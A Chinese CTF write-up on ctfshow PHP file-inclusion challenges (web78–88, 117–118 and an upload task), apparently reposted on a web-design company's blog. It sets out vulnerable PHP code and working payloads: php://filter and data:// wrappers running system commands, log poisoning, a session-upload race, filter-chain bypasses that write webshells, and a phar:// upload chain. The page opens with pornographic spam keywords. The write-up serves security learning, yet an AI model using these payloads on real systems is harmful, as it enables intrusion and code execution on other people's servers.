bl双性强迫侵犯h_国产在线观看人成激情视频_蜜芽188_被诱拐的少孩全彩啪啪漫画

php中什么是ctfshow文件包含

這篇文章將為大家詳細講解有關(guān)php中什么是ctfshow文件包含,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

站在用戶的角度思考問題,與客戶深入溝通,找到代縣網(wǎng)站設(shè)計與代縣網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗,讓設(shè)計與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗好的作品,建站類型包括:做網(wǎng)站、成都做網(wǎng)站、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣、域名注冊、虛擬空間、企業(yè)郵箱。業(yè)務(wù)覆蓋代縣地區(qū)。

web78~php偽協(xié)議

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

直接payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

web79~Data協(xié)議

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

過濾了 php ,所以不能用 php 開頭的偽協(xié)議了。

可以使用 data協(xié)議·。

  • data:// — 數(shù)據(jù)(RFC 2397)

自 PHP 5.2.0 起 data:(? RFC 2397)數(shù)據(jù)流封裝器開始有效

受限于 allow_url_fopenNo

受限于 allow_url_includeYes

php中什么是ctfshow文件包含

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
# PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

web80~包含日志文件

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

過濾了 phpdata,也就是 php 偽協(xié)議、data 協(xié)議。

可以包含日志文件getshell

?file=/var/log/nginx/access.log

抓包在 UA 字段換成想要的代碼<?php system('ls');?>,然后包含訪問,就 getshell了。

web81~包含日志文件

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

payload:

?file=/var/log/nginx/access.log

同樣包含日志文件getshell,

web82~session文件競爭包含

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

這里把點過濾了,就不能包含日志文件了。

但是我們可以包含 session 文件。

poc:

<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

php中什么是ctfshow文件包含

把上述代碼保存為html或者php文件后,在上傳任意一個文件。抓包,在把cookie改為Cookie: PHPSESSID=flag使得session文件為 /tmp/sess_flag,然后設(shè)置null payload開始一直上傳。

緊接著抓取,

php中什么是ctfshow文件包含

如圖,包含?file=/tmp/sess_flag文件,競爭,在沒刪除前訪問到。

php中什么是ctfshow文件包含

得到fl0g.php,接下來構(gòu)造上傳文件包<?php system('cat fl0g.php');?>得到flag.競爭。

php中什么是ctfshow文件包含

https://blog.csdn.net/qq_46091464/article/details/108021053

https://www.freebuf.com/vuls/202819.html

web83~session文件競爭包含

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

這里出現(xiàn)了

session_unset();
session_destroy();
**session_unset()**:釋放當前在內(nèi)存中已經(jīng)創(chuàng)建的所有$_SESSION變量,但是不刪除session文件以及不釋放對應(yīng)的session id;
 **session_destroy()**:刪除當前用戶對應(yīng)的session文件以及釋放session id,內(nèi)存中$_SESSION變量內(nèi)容依然保留;

說明上一關(guān)的利用方法已經(jīng)不能使用了。

等等,。。。這兩函數(shù)是在剛開始的,在接收函數(shù)之前,與上傳臨時文件也沒關(guān)系,所以還是可以用上關(guān)方法的。。。。。。

php中什么是ctfshow文件包含

web84~session文件競爭包含

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

在文件包含之前rm -rf /tmp/*刪掉/tmp下所有文件,但同樣存在條件競爭。

web85~session文件競爭包含

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

同樣條件競爭。

web86~session文件競爭包含

<?php

define('還要秀?', dirname(__FILE__));
set_include_path(還要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);


}else{
    highlight_file(__FILE__);
}

define('INCLUDE_PATH','/include/');

set_include_path(INCLUDE);

這樣當我們引用 include 中的文件 如 conn.php,smarty_config.php 時,我們直接可以這樣寫

include_once('conn.php');

include_once('smarty_config.php');

同樣條件競爭。

總結(jié)一下條件競爭

linux本身刪除

session_unset();
session_destroy();

system("rm -rf /tmp/*");

if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }

web87~不同變量死亡繞過

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);


}else{
    highlight_file(__FILE__);
}

不同變量死亡繞過。

base64就可以繞過/

正好是phpdie正好是6個字節(jié),加2為,4的倍數(shù),正好可以bse64解碼。

構(gòu)造

php://filter/write=convert.base64-decode/resource=1.php
# url 兩次編碼之后
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

# post傳參  <?php phpinfo();?> 前面加 aa
content=aaPD9waHAgcGhwaW5mbygpOz8+



利用string.rot13過濾器

構(gòu)造:

php://filter/write=string.rot13/resource=2.php

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

# post 傳參   <?php phpinfo();?>
content=<?cuc cucvasb();?>

成功回顯phpinfo();

還可以使用 string.strip_tags過濾器。

構(gòu)造

?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

# post傳入 <?php phpinfo();
PD9waHAgcGhwaW5mbygpOw==

雖然

Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21

但訪問3.php,成功顯示phpinfo頁面。

可以參考這里

https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/

web88~data協(xié)議去等號

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

正則匹配黑名單。

發(fā)現(xiàn)過濾的還是比較多,但是沒有過濾 : 那我們就可以使用PHP偽協(xié)議就是 這里使用的是 data://text/plain;base64,poc 其實和79差不多 只是注意的是編碼成base64的時候要去掉 =

實際上就是去掉base64后的=,作為填充使用,不影響結(jié)果

web118

misc+lfi

kali里面binwalk然后foremost分離出一張png圖片

<?php
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

這里過濾了幾個過濾器,常用的base64肯定不能用了。

因為header 定了mp4,所以他給我們返回的是

php中什么是ctfshow文件包含

這里直接

?file=flag.php

但奈何頁面只返回一個上圖頁面,本想著另存為,但保存不了。

那么就抓包看看響應(yīng)包了。

php中什么是ctfshow文件包含

直接出flag了。

但是我剛開始是F12抓包的,看到的是 編碼后的flag,懵逼了一會,才看出了是base64,但沒想到為啥。。。。

php中什么是ctfshow文件包含

應(yīng)該是返回base64編碼解碼成視頻。。。

找到解碼直接就是flag.

同樣可以使用convert.iconv.*

詳情看這里 https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/

web117~不同變量死亡繞過USC

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

死亡繞過不同變量

這里過濾了 base64那就是 base64-decode了。

過濾了string不能使用 字符過濾器了,

但是convert還是可以使用 轉(zhuǎn)換過濾器

可以使用convert.iconv.*

https://www.php.net/manual/en/filters.convert.php

原理:對原有字符串進行某種編碼然后再解碼,這個過程導(dǎo)致最初的限制exit;去除。

構(gòu)造

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

# post
contents=?<hp pvela$(P_SO[T]a;)>?

可以看到原先的死亡語句已經(jīng)變成了?<hp pid(e;)>?

php中什么是ctfshow文件包含



https://yanmie-art.github.io/2020/09/05/%E6%8E%A2%E7%B4%A2php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/

upload~固定后綴文件包含

題目來源:

https://www.amanctf.com/challenges/detail/id/5.html

打開題目啥也沒有,F(xiàn)12,看到有include.php

頁面顯示Tips: the parameter is file! :)

傳參

?file=1

# 回顯
Tips: the parameter is file! :)
Warning: include(1.php): failed to open stream: No such file or directory in /var/www/html/include.php on line 15

Warning: include(): Failed opening '1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/include.php on line 15

文件包含,但是包含的文件被自動化加上了 后綴.php.

f12看到還有upload.php

訪問是一個文件上傳功能點。顯然這道題考點文件上傳+文件包含getshell。

測試這個功能點是可以上傳的,但是只能上傳jpg,gif等圖片后綴格式。

做題做的有突然想到可以先文件包含看看題目源碼。

<!-- include.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>
<!--upload.php-->
<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br>

 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

可以看到文件包含匹配/http|data|ftp|input|%00/i..并且長度不能大于70.最后include時還加上.php指定后綴。-

文件上傳限制后綴和MIME類型。并且上傳之后先檢測最后一個后綴,然后傳到upload目錄。

這里做了好久百度可好久,考點是phar協(xié)議。

解法構(gòu)造一句話php文件,然后壓縮,然后改后綴為.jpg,然后上傳,最后

phar://upload/1.jpg/1

關(guān)于php中什么是ctfshow文件包含就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

文章標題:php中什么是ctfshow文件包含
分享路徑:http://vcdvsql.cn/article26/jhjijg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供搜索引擎優(yōu)化定制開發(fā)網(wǎng)站設(shè)計公司全網(wǎng)營銷推廣響應(yīng)式網(wǎng)站網(wǎng)站導(dǎo)航

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

小程序開發(fā)